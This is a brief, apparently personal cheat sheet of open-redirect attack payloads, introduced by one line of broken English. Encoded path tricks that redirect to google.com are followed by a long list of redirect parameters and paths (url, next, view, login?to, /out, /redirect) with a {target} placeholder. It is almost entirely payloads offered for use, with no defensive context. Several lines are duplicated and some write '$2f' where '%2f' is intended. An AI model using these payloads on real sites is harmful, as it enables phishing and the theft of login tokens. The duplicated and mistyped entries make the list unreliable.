just way to clear how open redirect work most of the time it be with login and singout pages
/%09/google.com
/%5cgoogle.com
//google.com/
//google.com/%2f..
//\google.com
/\victim.com:80%40google.com
Possible open redirect parameters
?url=http://{target}
?url=https://{target}
?next=http://{target}
?next=https://{target}
?url=https://{target}
?url=http://{target}
?url=//{target}
?url=$2f%2f{target}
?next=//{target}
?next=$2f%2f{target}
?url=//{target}
?url=$2f%2f{target}
?url=//{target}
/redirect/{target}
/cgi-bin/redirect.cgi?{target}
/out/{target}
/out?{target}
/out?/{target}
/out?//{target}
/out?/{target}
/out?///{target}
?view={target}
?view=/{target}
?view=//{target}
?view=/{target}
?view=///{target}
/login?to={target}
/login?to=/{target}
/login?to=//{target}
/login?to=/{target}
/login?to=///{target}